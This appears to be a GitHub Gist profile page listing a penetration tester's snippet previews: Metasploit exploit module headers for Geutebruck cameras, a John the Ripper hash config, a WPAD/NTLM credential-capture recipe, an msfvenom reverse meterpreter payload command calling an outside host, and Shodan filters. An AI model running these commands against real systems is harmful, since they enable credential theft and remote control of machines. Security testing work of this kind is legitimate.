Skip to content

Instantly share code, notes, and snippets.

View ddouhine's full-sized avatar

ddouhine

8 followers · 2 following
View GitHub Profile
@ddouhine
ddouhine / geutebruck_simple_loglistjs.rb
Created August 2, 2018 07:51
Geutebruck simple_loglistjs.cgi Remote Command Execution Metasploit Module
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
@ddouhine
ddouhine / geutebruck_testaction.rb
Created February 15, 2017 09:30
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
@ddouhine
ddouhine / polyglot-test.jpg
Last active December 14, 2016 15:59
polyglot-test.jpg
@ddouhine
ddouhine / [JtR] Add JBoss||Wildfly hash format
Last active September 12, 2018 12:10
/////////////////////////////////////////////////////////////////////////////////////////////
Add these lines to JtR /run/dynamic.conf:
/////////////////////////////////////////////////////////////////////////////////////////////
[List.Generic:dynamic_1591]
Expression=md5($u:ManagementRealm:$p)
CONST1=:ManagementRealm:
Flag=MGF_USERNAME
Flag=MGF_NOTSSE2Safe
Func=DynamicFunc__clean_input
Func=DynamicFunc__append_userid
@ddouhine
ddouhine / gist:b3e5c7928bd35ebbf892
Created October 7, 2015 12:58
Network/web related online tools
http://wtfismyip.com/
http://web-sniffer.net/
http://www.urlquery.net/
http://www.rexswain.com/httpview.html
http://httpbin.org
http://requestb.in
@ddouhine
ddouhine / msf mitm
Created July 24, 2015 09:07
use auxiliary/server/wpad
set PROXY x.x.x.x
run
use auxiliary/server/capture/http_ntlm
set CAINPWFILE /root/cain.http.pw
set JOHNPWFILE /root/john.http.pw
set URIPATH /
set SRVPORT 80
run
@ddouhine
ddouhine / gist:441a72314c3c814c7c1b
Created July 23, 2015 15:56
jdwp
3999,5000,5005,8000,8453,8787-8788,9001,18000
@ddouhine
ddouhine / gist:21c560514b30ce235960
Created June 29, 2015 13:11
.../metasploit_4.11.3-2015062101-1kali0_i386.deb
root@kali:~# msfvenom -p windows/meterpreter_reverse_http exitfunc=thread lhost=1.1.1.5 R -a x86 -f exe --platform windows > meter_1.1.1.5.exe
No encoder or badchars specified, outputting raw payload
@ddouhine
ddouhine / Tomcat
Created December 16, 2014 15:54
//tomcat version
get and unzip $TOMCAT_HOME/server/lib/catalina.jar
cat org/apache/catalina/util/ServerInfo.properties
cat META-INF/MANIFEST.MF
grep -ri version * | more
(...)
META-INF/MANIFEST.MF:Specification-Version: 6.0
META-INF/MANIFEST.MF:Implementation-Version: 6.0.35
@ddouhine
ddouhine / SHODAN Filters
Created December 16, 2014 15:53
» city
» country
nginx city:"San Diego" country:US
» geo
Devices within a 50km radius of San Diego (32.8,-117): geo:32.8,-117,50
» hostname
"Server: gws" hostname:google
» net
net:216.219.0.0/16
» os